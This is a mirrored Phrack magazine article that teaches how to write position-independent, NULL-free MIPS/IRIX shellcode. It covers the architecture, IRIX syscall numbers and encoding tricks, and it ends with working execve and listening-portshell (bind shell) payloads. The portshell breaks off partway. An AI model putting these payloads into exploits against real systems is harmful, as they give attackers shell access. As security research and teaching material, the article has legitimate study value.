mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
754 lines
29 KiB
Text
754 lines
29 KiB
Text
![]() |
- P H R A C K M A G A Z I N E -
|
||
|
|
||
|
Volume 0xa Issue 0x38
|
||
|
05.01.2000
|
||
|
0x0f[0x10]
|
||
|
|
||
|
|------------------------ WRITING MIPS/IRIX SHELLCODE ------------------------|
|
||
|
|-----------------------------------------------------------------------------|
|
||
|
|--------------------------------- scut/teso ---------------------------------|
|
||
|
|
||
|
|
||
|
----| Intro
|
||
|
|
||
|
Writing shellcode for the MIPS/Irix platform is not much different from writing
|
||
|
shellcode for the x86 architecture. There are, however, a few tricks worth
|
||
|
knowing when attempting to write clean shellcode (which does not have any NULL
|
||
|
bytes and works completely independent from it's position).
|
||
|
|
||
|
This small paper will provide you with a crash course on writing IRIX
|
||
|
shellcode for use in exploits. It covers the basic stuff you need to know to
|
||
|
start writing basic IRIX shellcode. It is divided into the following sections:
|
||
|
|
||
|
- The IRIX operating system
|
||
|
- MIPS architecture
|
||
|
- MIPS instructions
|
||
|
- MIPS registers
|
||
|
- The MIPS assembly language
|
||
|
- High level language function representation
|
||
|
- Syscalls and Exceptions
|
||
|
- IRIX syscalls
|
||
|
- Common constructs
|
||
|
- Tuning the shellcode
|
||
|
- Example shellcode
|
||
|
- References
|
||
|
|
||
|
|
||
|
----| The IRIX operating system
|
||
|
|
||
|
The Irix operating system was developed independently by Silicon Graphics and
|
||
|
is UNIX System V.4 compliant. It has been designed for the MIPS CPU's, which
|
||
|
have a unique history and have pioneered 64-bit and RISC technology. The
|
||
|
current Irix version is 6.5.7. There are two major versions, called feature
|
||
|
(6.5.7f) and maintenance (6.5.7m) release, from which the feature release is
|
||
|
focused on new features and technologies and the maintenance release on bug
|
||
|
fixes and stability. All modern Irix platforms are binary compatible and this
|
||
|
shellcode discussion and the example shellcodes have been tested on over half a
|
||
|
dozen different Irix computer systems.
|
||
|
|
||
|
|
||
|
----| MIPS architecture
|
||
|
|
||
|
First of all you have to have some basic knowledge about the MIPS CPU
|
||
|
architecture. There are a lot of different types of the MIPS CPU, the most
|
||
|
common are the R4x00 and R10000 series (which share the same instruction set).
|
||
|
|
||
|
A MIPS CPU is a typical RISC-based CPU, meaning it has a reduced instruction
|
||
|
set with less instructions then a CISC CPU, such as the x86. The core concept
|
||
|
of a RISC CPU is a tradeoff between simplicity and concurrency: There are
|
||
|
less instructions, but the existing ones can be executed quickly and in
|
||
|
parallel. Because of this small number of instructions there is less
|
||
|
redundancy per instruction, and some things can only be done using a single
|
||
|
instruction, while on a CISC CPU this can only be achieved by using a variety
|
||
|
of different instructions, each one doing basically the same thing. As a
|
||
|
result of this, MIPS machine code is larger then CISC machine code, since
|
||
|
often multiple instructions are required to accomplish the same operation that
|
||
|
CISC CPU's are able to do with one single instruction.
|
||
|
|
||
|
Multiple instructions do not, however, result in slower code. This is a
|
||
|
matter of overall execution speed, which is extremely high because of the
|
||
|
parallel execution of the instructions.
|
||
|
|
||
|
On a MIPS CPU the concurrency is very advanced, and the CPU has a pipeline with
|
||
|
five slots, which means five instructions are processed at the same time and
|
||
|
every instruction has five stages, from the initial IF pipestage (instruction
|
||
|
fetch) to the last, the WB pipestage (write back).
|
||
|
|
||
|
Because the instructions overlap within the pipeline, there are some
|
||
|
"anomalies" that have to be considered when writing MIPS machine code:
|
||
|
|
||
|
- there is a branch delay slot: the instruction following the branch
|
||
|
instruction is still in the pipeline and is executed after the jump has
|
||
|
taken place
|
||
|
- the return address for subroutines ($ra) and syscalls (C0_EPC) points
|
||
|
not to the instruction after the branch/jump/syscall instruction but to
|
||
|
the instruction after the branch delay slot instruction
|
||
|
- since every instruction is divided into five pipestages the MIPS design
|
||
|
has reflected this on the instructions itself: every instruction is
|
||
|
32 bits broad (4 bytes), and can be divided most of the times into
|
||
|
segments which correspond with each pipestage
|
||
|
|
||
|
|
||
|
----| MIPS instructions
|
||
|
|
||
|
MIPS instructions are not just 32 bit long each, they often share a similar
|
||
|
mapping too. An instruction can be divided into the following sections:
|
||
|
|
||
|
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
|
||
|
31302928272625242322212019181716151413121110 9 8 7 6 5 4 3 2 1 0
|
||
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||
|
| op | sub-op |xxxxxxxxxxxxxxxxxxxxxxxxxxxxx| subcode |
|
||
|
+-----------+---------+-----------------------------+-----------+
|
||
|
|
||
|
The "op" field denotes the six bit primary opcode. Some instructions, such
|
||
|
as long jumps (see below) have a unique code here, the rest are grouped by
|
||
|
function. The "sub-op" section, which is five bytes long can represent either
|
||
|
a specific sub opcode as extension to the primary opcode or can be a register
|
||
|
block. A register block is always five bits long and selects one of the CPU
|
||
|
registers for an operation. The subcode is the opcode for the arithmetic and
|
||
|
logical instructions, which have a primary opcode of zero.
|
||
|
|
||
|
The logical and arithmetic instructions share a RISC-unique attribute: They
|
||
|
do not work with two registers, such as common x86 instructions, but they use
|
||
|
three registers, named "destination", "target" and "source". This allows more
|
||
|
flexible code, if you still want CISC-like instructions, such as
|
||
|
"add %eax, %ecx", just use the same destination and target register for the
|
||
|
operation.
|
||
|
|
||
|
A typical MIPS instruction looks like:
|
||
|
|
||
|
or a0, a1, t4
|
||
|
|
||
|
which is easy to represent in C as "a0 = a1 | t4". The order is almost always
|
||
|
equivalent to a simple C expression.
|
||
|
|
||
|
Some simple instructions are listed below.
|
||
|
|
||
|
- dest, source, target, and register are registers (see section on MIPS
|
||
|
registers below).
|
||
|
- value is a 16 bit value, either signed or not, depending on the instruction.
|
||
|
- offset is a 16 bit relative offset. loffset is a 26 bit offset, which is
|
||
|
shifted so that it lies on a four byte boundary.
|
||
|
|
||
|
or dest, source, target logical or: dest = source | target
|
||
|
nor dest, source, target logical not or: d = ~ (source | target)
|
||
|
add dest, source, target add: dest = source + target
|
||
|
addu dest, source, value add immediate signed: dest = source + value
|
||
|
and dest, source, target logical and: dest = source & target
|
||
|
beq source, target, offset if (source == target) goto offset
|
||
|
bgez source, offset if (source >= 0) goto offset
|
||
|
bgezal source, offset if (source >= 0) offset ()
|
||
|
bgtz source, offset if (source > 0) goto offset
|
||
|
bltz source, offset if (source < 0) goto offset
|
||
|
bltzal source, offset if (source < 0) offset ()
|
||
|
bne source, target, offset if (source != target) goto offset
|
||
|
j loffset goto loffset (within 2^28 byte range)
|
||
|
jr register jump to address in register
|
||
|
jal loffset loffset (), store retaddr in $ra
|
||
|
li dest, value load imm.: expanded to either ori or addiu
|
||
|
lw dest, offset dest = *((int *) (offset))
|
||
|
slt dest, source, target signed: dest = (source < target) ? 1 : 0
|
||
|
slti dest, source, value signed: dest = (source < value) ? 1 : 0
|
||
|
sltiu dest, source, value unsigned: dest = (source < value) ? 1 : 0
|
||
|
sub dest, source, target dest = source - target
|
||
|
sw source, offset *((int *) offset) = source
|
||
|
syscall raise syscall exception
|
||
|
xor dest, source, target dest = source ^ target
|
||
|
xori dest, source, value dest = source ^ value
|
||
|
|
||
|
This is obviously not complete. However, it does cover the most important
|
||
|
instructions for writing shellcode. Most of the instructions in the example
|
||
|
shellcodes can be found here. For the complete list of instructions see
|
||
|
either [1] or [2].
|
||
|
|
||
|
|
||
|
----| MIPS registers
|
||
|
|
||
|
The MIPS CPU has plenty of registers. Since we already know registers are
|
||
|
addressed using a five bit block, there must be 32 registers, $0 to $31. They
|
||
|
are all alike except for $0 and $31. For $0 the case is very simple: No
|
||
|
matter what you do to the register, it always contains zero. This is
|
||
|
practical for a lot of arithmetic instructions and can results in elegant code
|
||
|
design. The $0 register has been assigned the symbolic name $zero. The $31
|
||
|
register is also called $ra, for "return address". Why should a register ever
|
||
|
contain a return address if there is such a nice stack to store it? And how
|
||
|
should recursion be handled otherwise? Well, the short answer is, there is no
|
||
|
real stack and yes it works. For the longer answer we will shortly discuss
|
||
|
what happens when a function is called on a RISC CPU. When this is done a
|
||
|
special instruction called "jal" is used. This instruction overwrites the
|
||
|
content of the $ra ($31) register with the appropriate return address and then
|
||
|
jumps to an arbitrary address. The called function does however see the
|
||
|
return address in $ra and once finished just jumps back (using the "jr"
|
||
|
instruction) to the return address. But what if the function wants to call
|
||
|
functions, too? Then there is a stack-like segment the function can store the
|
||
|
return address on, later restore it and then continue to work as usual.
|
||
|
|
||
|
Why "stack-like"? Because there is only a stack by convention, and any
|
||
|
register may be used to behave like a stack. There are no push or pop
|
||
|
instructions however, and the register has to be adjusted manually. The
|
||
|
"stack" register is $29, symbolically referred as $sp. The stack grows to the
|
||
|
smaller addresses, just like on the x86 architecture.
|
||
|
|
||
|
There other register conventions, nearly as many as there are registers. For
|
||
|
the sake of completeness here is a small listing:
|
||
|
|
||
|
number symbolic function
|
||
|
------- --------- -----------------------------------------------------------
|
||
|
$0 $zero always contains zero
|
||
|
$1 $at is used by assembler (see below), do not use it
|
||
|
$2-$3 $v0, $v1 subroutine return values
|
||
|
$4-$7 $a0-$a3 subroutine arguments
|
||
|
$8-$15 $t0-$t7 temporary registers, may be overwritten by subroutine
|
||
|
$16-$23 $s0-$s7 subroutine registers, have to be saved by called function
|
||
|
before they may be used
|
||
|
$24,$25 $t8, $t9 temporary registers, may be overwritten by subroutine
|
||
|
$26,$27 $k0, $k1 interrupt/trap handler reserved registers, do not use
|
||
|
$28 $gp global pointer, used to access static and extern variables
|
||
|
$29 $sp stack pointer
|
||
|
$30 $s8/$fp subroutine register, commonly used as a frame pointer
|
||
|
$31 $ra return address
|
||
|
|
||
|
There are also 32 floating point registers, each 32 bits long (64 bits on
|
||
|
newer MIPS CPUs). They are not important for system programming, so we will not
|
||
|
discuss them here.
|
||
|
|
||
|
|
||
|
----| The MIPS assembly language
|
||
|
|
||
|
Because the instructions are relatively primitive and programmers often want
|
||
|
to accomplish more complex things, the MIPS assembly language works with a lot
|
||
|
of macro instructions. They sometimes provide really necessary operations,
|
||
|
such as subtracting a number from a register (which is converted to a signed
|
||
|
add by the assembler) to complex macros, such as finding the remainder for a
|
||
|
division. But the assembler does a lot more than providing macros for common
|
||
|
operations. We already mentioned the pipeline in which instructions are
|
||
|
processed simultaneously. Often the execution directly depends on the order
|
||
|
within the pipeline, because the registers accessed with the instructions are
|
||
|
written back in the last pipestage, the WB (write-back) stage and cannot be
|
||
|
accessed before by other instructions. For old MIPS CPUs the MIPS
|
||
|
abbreviation is true when saying "Microcomputer without Interlocked Pipeline
|
||
|
Stages", you just cannot access the register in the instruction directly
|
||
|
following the one that modifies this register. Nearly all MIPS CPUs
|
||
|
currently in service do have an interlock though, they just wait until the
|
||
|
data from the instruction is written back to the register before allowing the
|
||
|
following instruction to read it. In practice you only have to worry when
|
||
|
writing very low level assembly code, such as shellcode :-), because most of
|
||
|
the times the assembler will reorder and replace your instructions so that
|
||
|
they exploit the pipelined architecture at best. You can turnoff this
|
||
|
reordering and macros in any MIPS assembler, if you want to.
|
||
|
|
||
|
The MIPS CPUs and RISC CPUs altogether were not designed with easy assembly
|
||
|
language programming in mind. It is more difficult, however, to program a
|
||
|
RISC CPU in assembly than any CISC CPU. Even the first sentences of the MIPS
|
||
|
Pro Assembler Manual from the MIPS corporation recommend to use MIPS assembly
|
||
|
language only for hardware near routines or operating system programming. In
|
||
|
most cases a good C compiler, such as the one MIPS developed will optimize the
|
||
|
pipeline and register usage way better then any programmer might do in
|
||
|
assembly. However, when writing shellcodes we have to face the bare machine
|
||
|
code and have to write size-optimized code, which does not contain any NULL
|
||
|
bytes. A compiler might use large code to unroll loops or to use faster
|
||
|
constructs, we can not.
|
||
|
|
||
|
|
||
|
----| High level language function representation
|
||
|
|
||
|
Most of the time, a normal C function can be represented very easily in MIPS
|
||
|
assembly. You just have to differentiate between leaf and non-leaf functions.
|
||
|
A non-leaf function is a function that does not call any other function. Such
|
||
|
functions do not need to store the return address on the stack, but keep it in
|
||
|
$ra for the whole time. The arguments to a function are stored by the calling
|
||
|
function in $a0, $a1, $a2 and $a3. If this space is not sufficient enough
|
||
|
extra stack space is used, but in most cases the registers suffice. The
|
||
|
function may return two 32bit values through the $v0 and $v1 registers. For
|
||
|
temporary space the called function may use the stack referred to by $sp. Also
|
||
|
registers are commonly saved on the stack and later restored from it. The
|
||
|
temporary registers ($t0-$t9) may be overwritten in the called function
|
||
|
without restoring them later, if the calling functions wants to preserve them,
|
||
|
it has to save them itself.
|
||
|
|
||
|
The stack usually starts at 0x80000000 and grows towards small addresses. As
|
||
|
was already said, it is very similar to the stack of an x86 system.
|
||
|
|
||
|
|
||
|
----| Syscalls and Exceptions
|
||
|
|
||
|
On a typical Unix system there are only two modes that current execution can
|
||
|
happen in: user mode and kernel mode. In most modern architectures this
|
||
|
modes are directly supported by the CPU. The MIPS CPU has these two modes plus
|
||
|
an extra mode called "supervisor mode". It was requested by engineers at DEC
|
||
|
for their new range of workstations when the MIPS R4000 CPU was designed.
|
||
|
Since the VMS/DEC market was important to MIPS, they implemented this third
|
||
|
mode at DEC's request to allow the VMS operating system to be run on the CPU.
|
||
|
However, DEC decided later to develop their own CPU, the Alpha CPU and the
|
||
|
mode remained unused.
|
||
|
|
||
|
Back to the execution modes... on current operating systems designed for the
|
||
|
MIPS CPU only kernel mode and user mode are used. To switch from user mode to
|
||
|
the kernel mode there is a mechanism called "exceptions". Whenever a user space process wants to let the kernel to do something or whenever the
|
||
|
current execution can't be successfully continued the control is passed to the
|
||
|
kernel space exception handler.
|
||
|
|
||
|
For shellcode construction we have to know that we can make the kernel execute
|
||
|
important operating system related stuff like I/O operations through the
|
||
|
syscall exception, which is triggered through the "syscall" instruction. The
|
||
|
syscall instruction looks like:
|
||
|
|
||
|
syscall 0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100
|
||
|
|
||
|
Where the x's represent the 20 bit broad syscall code, which is ignored on the
|
||
|
Irix system. To avoid NULL bytes in your shellcode you can set those x-bits to
|
||
|
arbitrary data.
|
||
|
|
||
|
|
||
|
----| IRIX syscalls
|
||
|
|
||
|
The following list covers the most important syscalls for use in shellcodes.
|
||
|
After all registers have been appropriately set the "syscall" instruction is
|
||
|
executed and the execution flow is passed to the kernel.
|
||
|
|
||
|
accept
|
||
|
------
|
||
|
int accept (int s, struct sockaddr *addr, socklen_t *addrlen);
|
||
|
|
||
|
a0 = (int) s
|
||
|
a1 = (struct sockaddr *) addr
|
||
|
a2 = (socklen_t *) addrlen
|
||
|
v0 = SYS_accept = 1089 = 0x0441
|
||
|
|
||
|
return values
|
||
|
|
||
|
a3 = 0 success, a3 != 0 on failure
|
||
|
v0 = new socket
|
||
|
|
||
|
|
||
|
bind
|
||
|
----
|
||
|
int bind (int sockfd, struct sockaddr *my_addr, socklen_t addrlen);
|
||
|
|
||
|
a0 = (int) sockfd
|
||
|
a1 = (struct sockaddr *) my_addr
|
||
|
a2 = (socklen_t) addrlen
|
||
|
v0 = SYS_bind = 1090 = 0x0442
|
||
|
|
||
|
For the IN protocol family (TCP/IP) the sockaddr pointer points to a
|
||
|
sockaddr_in struct which is 16 bytes long and typically looks like:
|
||
|
"\x00\x02\xaa\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
|
||
|
where aa is ((port >> 8) & 0xff) and bb is (port & 0xff).
|
||
|
|
||
|
return values
|
||
|
|
||
|
a3 = 0 success, a3 != 0 on failure
|
||
|
v0 = 0 success, v0 != 0 on failure
|
||
|
|
||
|
|
||
|
close
|
||
|
-----
|
||
|
int close (int fd);
|
||
|
|
||
|
a0 = (int) fd
|
||
|
v0 = SYS_close = 1006 = 0x03ee
|
||
|
|
||
|
return values
|
||
|
|
||
|
a3 = 0 success, a3 != 0 on failure
|
||
|
v0 = 0 success, v0 != 0 on failure
|
||
|
|
||
|
execve
|
||
|
------
|
||
|
int execve (const char *filename, char *const argv [], char *const envp[]);
|
||
|
|
||
|
a0 = (const char *) filename
|
||
|
a1 = (chat * const) argv[]
|
||
|
a2 = (char * const) envp[]
|
||
|
v0 = SYS_execve = 1059 = 0x0423
|
||
|
|
||
|
return values
|
||
|
|
||
|
should not return but replace current process with program, it only returns
|
||
|
in case of errors
|
||
|
|
||
|
|
||
|
fcntl
|
||
|
-----
|
||
|
int fcntl (int fd, int cmd);
|
||
|
int fcntl (int fd, int cmd, long arg);
|
||
|
|
||
|
a0 = (int) fd
|
||
|
a1 = (int) cmd
|
||
|
a2 = (long) arg in case the command requires an argument
|
||
|
v0 = SYS_fcntl = 1062 = 0x0426
|
||
|
|
||
|
return values
|
||
|
|
||
|
a3 = 0 on success, a3 != 0 on failure
|
||
|
v0 is the real return value and depends on the operation, see fcntl(2) for
|
||
|
further information
|
||
|
|
||
|
|
||
|
fork
|
||
|
----
|
||
|
int fork (void);
|
||
|
|
||
|
v0 = SYS_fork = 1002 = 0x03ea
|
||
|
|
||
|
return values
|
||
|
|
||
|
a3 = 0 on success, a3 != 0 on failure
|
||
|
v0 = 0 in child process, PID of child process in parent process
|
||
|
|
||
|
|
||
|
listen
|
||
|
------
|
||
|
int listen (int s, int backlog);
|
||
|
|
||
|
a0 = (int) s
|
||
|
a1 = (int) backlog
|
||
|
v0 = SYS_listen = 1096 = 0x0448
|
||
|
|
||
|
return values
|
||
|
|
||
|
a3 = 0 on success, a3 != 0 on failure
|
||
|
|
||
|
|
||
|
read
|
||
|
----
|
||
|
ssize_t read (int fd, void *buf, size_t count);
|
||
|
|
||
|
a0 = (int) fd
|
||
|
a1 = (void *) buf
|
||
|
a2 = (size_t) count
|
||
|
v0 = SYS_read = 1003 = 0x03eb
|
||
|
|
||
|
return values
|
||
|
|
||
|
a3 = 0 on success, a3 != 0 on failure
|
||
|
v0 = number of bytes read
|
||
|
|
||
|
|
||
|
socket
|
||
|
------
|
||
|
int socket (int domain, int type, int protocol);
|
||
|
|
||
|
a0 = (int) domain
|
||
|
a1 = (int) type
|
||
|
a2 = (int) protocol
|
||
|
v0 = SYS_socket = 1107 = 0x0453
|
||
|
|
||
|
return values
|
||
|
|
||
|
a3 = 0 on success, a3 != 0 on failure
|
||
|
v0 = new socket
|
||
|
|
||
|
|
||
|
write
|
||
|
-----
|
||
|
int write (int fileno, void *buffer, int length);
|
||
|
|
||
|
a0 = (int) fileno
|
||
|
a1 = (void *) buffer
|
||
|
a2 = (int) length
|
||
|
v0 = SYS_write = 1004 = 0x03ec
|
||
|
|
||
|
return values
|
||
|
|
||
|
a3 = 0 on success, a3 != 0 on failure
|
||
|
v0 = number of bytes written
|
||
|
|
||
|
|
||
|
The dup2 functionality is not implemented as system call but as libc
|
||
|
wrapper for close and fcntl. Basically the dup2 function looks like
|
||
|
(simplified):
|
||
|
|
||
|
int dup2 (int des1, int des2)
|
||
|
{
|
||
|
int tmp_errno, maxopen;
|
||
|
|
||
|
maxopen = (int) ulimit (4, 0);
|
||
|
if (maxopen < 0)
|
||
|
{
|
||
|
maxopen = OPEN_MAX;
|
||
|
}
|
||
|
if (fcntl (des1, F_GETFL, 0) == -1)
|
||
|
{
|
||
|
_setoserror (EBADF);
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
if (des2 >= maxopen || des2 < 0)
|
||
|
{
|
||
|
_setoserror (EBADF);
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
if (des1 == des2)
|
||
|
{
|
||
|
return des2;
|
||
|
}
|
||
|
tmp_errno = _oserror();
|
||
|
close (des2);
|
||
|
_setoserror (tmp_errno);
|
||
|
|
||
|
return (fcntl (des1, F_DUPFD, des2));
|
||
|
}
|
||
|
|
||
|
So without the validation dup2 (des1, des2) can be rewritten as:
|
||
|
|
||
|
close (des2);
|
||
|
fcntl (des1, F_DUPFD, des2);
|
||
|
|
||
|
Which has been done in the portshell shellcode below.
|
||
|
|
||
|
|
||
|
----| Common constructs
|
||
|
|
||
|
When writing shellcode there are always common operations, like getting the
|
||
|
current address. Here are a few techniques that you can use in your
|
||
|
shellcode:
|
||
|
|
||
|
- Getting the current address
|
||
|
|
||
|
li t8, -0x7350 /* load t8 with -0x7350 (leet) */
|
||
|
foo: bltzal t8, foo /* branch with $ra stored if t8 < 0 */
|
||
|
slti t8, zero, -1 /* t8 = 0 (see below) */
|
||
|
bar:
|
||
|
|
||
|
Because the slti instruction is in the branch delay slot when the bltzal is
|
||
|
executed the next time the bltzal will not branch and t8 will remain zero. $ra
|
||
|
holds the address of the bar label when the same label is reached.
|
||
|
|
||
|
- Loading small integer values
|
||
|
|
||
|
Because every instruction is 32 bits long you cannot immediately load a 32 bit
|
||
|
value into a register but you have to use two instructions. Most of the time,
|
||
|
however, you just want to load small values, below 256. Values below 2^16 are
|
||
|
stored as a 16 bit value within the instruction and values below 256 will
|
||
|
result in ugly NULL bytes, that should be avoided in proper shellcode.
|
||
|
Therefore we use a trick to load such small values:
|
||
|
|
||
|
loading zero into reg (reg = 0):
|
||
|
slti reg, zero, -1
|
||
|
|
||
|
loading one into reg (reg = 1):
|
||
|
slti reg, zero, 0x0101
|
||
|
|
||
|
loading small integer values into reg (reg = value):
|
||
|
li t8, -valmod /* valmod = value + 1 */
|
||
|
not reg, t8
|
||
|
|
||
|
For example if we want to load 4 into reg we would use:
|
||
|
li t8, -5
|
||
|
not reg, t8
|
||
|
|
||
|
In case you need small values more than one time you can also store them into
|
||
|
saved registers ($s0 - $s7, optionally $s8).
|
||
|
|
||
|
- Moving registers
|
||
|
|
||
|
In normal MIPS assembly you would use the simple move instruction, which
|
||
|
results in an "or" instruction, but in shellcode you have to avoid NUL bytes,
|
||
|
and you can use this construction, if you know that the value in the register
|
||
|
is below 0xffff (65535):
|
||
|
andi reg, source, 0xffff
|
||
|
|
||
|
|
||
|
----| Tuning the shellcode
|
||
|
|
||
|
I recommend that you write your shellcodes in normal MIPS assembly and
|
||
|
afterwards start removing the NULL bytes from top to bottom. For simple load
|
||
|
instructions you can use the constructs above. For essential instructions try
|
||
|
to play with the different registers, in some cases NULL bytes may be removed
|
||
|
from arithmetic and logic instructions by using higher registers, such as $t8
|
||
|
or $s7. Next try replacing the single instruction with two or three
|
||
|
accomplishing the same. Make use of the return values of syscalls or known
|
||
|
register contents. Be creative, use a MIPS instruction reference from [1] or
|
||
|
[2] and your brain and you will always find a good replacement.
|
||
|
|
||
|
Once you made your shellcode NULL free you will notice the size has increased
|
||
|
and your shellcode is quite bloated. Do not worry, this is normal, there is
|
||
|
almost nothing you can do about it, RISC code is nearly always larger then the
|
||
|
same code on x86. But you can do some small optimizations to decrease it's
|
||
|
size. At first try to find replacements for instruction blocks, where more
|
||
|
then one instruction is used to do one thing. Always take a look at the
|
||
|
current register content and make use of return values or previously loaded
|
||
|
values. Sometimes reordering helps you to avoid jumps.
|
||
|
|
||
|
|
||
|
----| Example shellcode
|
||
|
|
||
|
All the shellcodes have been tested on the following systems, (thanks to vax,
|
||
|
oxigen, zap and hendy):
|
||
|
|
||
|
R4000/6.2, R4000/6.5, R4400/5.3, R4400/6.2, R4600/5.3, R5000/6.5 and
|
||
|
R10000/6.4.
|
||
|
|
||
|
<++> p56/MIPS-shellcode/sh_execve.h !4959db03
|
||
|
/* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso
|
||
|
*/
|
||
|
unsigned long int shellcode[] = {
|
||
|
0xafa0fffc, /* sw $zero, -4($sp) */
|
||
|
0x24067350, /* li $a2, 0x7350 */
|
||
|
/* dpatch: */ 0x04d0ffff, /* bltzal $a2, dpatch */
|
||
|
0x8fa6fffc, /* lw $a2, -4($sp) */
|
||
|
/* a2 = (char **) envp = NULL */
|
||
|
|
||
|
0x240fffcb, /* li $t7, -53 */
|
||
|
0x01e07827, /* nor $t7, $t7, $zero */
|
||
|
0x03eff821, /* addu $ra, $ra, $t7 */
|
||
|
|
||
|
/* a0 = (char *) pathname */
|
||
|
0x23e4fff8, /* addi $a0, $ra, -8 */
|
||
|
|
||
|
/* fix 0x42 dummy byte in pathname to shell */
|
||
|
0x8fedfffc, /* lw $t5, -4($ra) */
|
||
|
0x25adffbe, /* addiu $t5, $t5, -66 */
|
||
|
0xafedfffc, /* sw $t5, -4($ra) */
|
||
|
|
||
|
/* a1 = (char **) argv */
|
||
|
0xafa4fff8, /* sw $a0, -8($sp) */
|
||
|
0x27a5fff8, /* addiu $a1, $sp, -8 */
|
||
|
|
||
|
0x24020423, /* li $v0, 1059 (SYS_execve) */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x2f62696e, /* .ascii "/bin" */
|
||
|
0x2f736842, /* .ascii "/sh", .byte 0xdummy */
|
||
|
};
|
||
|
<-->
|
||
|
<++> p56/MIPS-shellcode/shc_portshell-listener.h !db48e22a
|
||
|
/* 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso
|
||
|
*/
|
||
|
unsigned long int shellcode[] = {
|
||
|
0x2416fffd, /* li $s6, -3 */
|
||
|
0x02c07027, /* nor $t6, $s6, $zero */
|
||
|
0x01ce2025, /* or $a0, $t6, $t6 */
|
||
|
0x01ce2825, /* or $a1, $t6, $t6 */
|
||
|
0x240efff9, /* li $t6, -7 */
|
||
|
0x01c03027, /* nor $a2, $t6, $zero */
|
||
|
0x24020453, /* li $v0, 1107 (socket) */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||
|
|
||
|
0x3050ffff, /* andi $s0, $v0, 0xffff */
|
||
|
0x280d0101, /* slti $t5, $zero, 0x0101 */
|
||
|
0x240effee, /* li $t6, -18 */
|
||
|
0x01c07027, /* nor $t6, $t6, $zero */
|
||
|
0x01cd6804, /* sllv $t5, $t5, $t6 */
|
||
|
0x240e7350, /* li $t6, 0x7350 (port) */
|
||
|
0x01ae6825, /* or $t5, $t5, $t6 */
|
||
|
0xafadfff0, /* sw $t5, -16($sp) */
|
||
|
0xafa0fff4, /* sw $zero, -12($sp) */
|
||
|
0xafa0fff8, /* sw $zero, -8($sp) */
|
||
|
0xafa0fffc, /* sw $zero, -4($sp) */
|
||
|
0x02102025, /* or $a0, $s0, $s0 */
|
||
|
0x240effef, /* li $t6, -17 */
|
||
|
0x01c03027, /* nor $a2, $t6, $zero */
|
||
|
0x03a62823, /* subu $a1, $sp, $a2 */
|
||
|
0x24020442, /* li $v0, 1090 (bind) */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||
|
|
||
|
0x02102025, /* or $a0, $s0, $s0 */
|
||
|
0x24050101, /* li $a1, 0x0101 */
|
||
|
0x24020448, /* li $v0, 1096 (listen) */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||
|
|
||
|
0x02102025, /* or $a0, $s0, $s0 */
|
||
|
0x27a5fff0, /* addiu $a1, $sp, -16 */
|
||
|
0x240dffef, /* li $t5, -17 */
|
||
|
0x01a06827, /* nor $t5, $t5, $zero */
|
||
|
0xafadffec, /* sw $t5, -20($sp) */
|
||
|
0x27a6ffec, /* addiu $a2, $sp, -20 */
|
||
|
0x24020441, /* li $v0, 1089 (accept) */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||
|
0x3057ffff, /* andi $s7, $v0, 0xffff */
|
||
|
|
||
|
0x2804ffff, /* slti $a0, $zero, -1 */
|
||
|
0x240203ee, /* li $v0, 1006 (close) */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||
|
|
||
|
0x02f72025, /* or $a0, $s7, $s7 */
|
||
|
0x2805ffff, /* slti $a1, $zero, -1 */
|
||
|
0x2806ffff, /* slti $a2, $zero, -1 */
|
||
|
0x24020426, /* li $v0, 1062 (fcntl) */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||
|
|
||
|
0x28040101, /* slti $a0, $zero, 0x0101 */
|
||
|
0x240203ee, /* li $v0, 1006 (close) */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||
|
|
||
|
0x02f72025, /* or $a0, $s7, $s7 */
|
||
|
0x2805ffff, /* slti $a1, $zero, -1 */
|
||
|
0x28060101, /* slti $a2, $zero, 0x0101 */
|
||
|
0x24020426, /* li $v0, 1062 (fcntl) */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x240f7350, /* li $t7, 0x7350 */
|
||
|
|
||
|
0x02c02027, /* nor $a0, $s6, $zero */
|
||
|
0x240203ee, /* li $v0, 1006 (close) */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||
|
|
||
|
0x02f72025, /* or $a0, $s7, $s7 */
|
||
|
0x2805ffff, /* slti $a1, $zero, -1 */
|
||
|
0x02c03027, /* nor $a2, $s6, $zero */
|
||
|
0x24020426, /* li $v0, 1062 (fcntl) */
|
||
|
0x0101010c, /* syscall */
|
||
|
0x240f7350, /* li $t7, 0x7350 (nop) */
|
||
|
|
||
|
0xafa0fffc, /* sw $zero, -4($sp) */
|
||
|
0x24068cb0, /* li $a2, -29520 */
|
||
|
0x04d0ffff, /* bltzal $a2, pc-4 */
|
||
|
0x8fa6fffc, /* lw $a2, -4($sp) */
|
||
|
0x240fffc7, /* li $t7, -57 */
|
||
|
0x01e07827, /* nor $t7, $t7, $zero */
|
||
|
0x03eff821, /* addu $ra, $ra, $t7 */
|
||
|
0x23e4fff8, /* addi $a0, $ra, -8 */
|
||
|
0x8fedfffc, /* lw $t5, -4($ra) */
|
||
|
0x25adffbe, /* addiu $t5, $t5, -66 */
|
||
|
0xafedfffc, /* sw $t5, -4($ra) */
|
||
|
0xafa4fff8, /* sw $a0, -8($sp) */
|
||
|
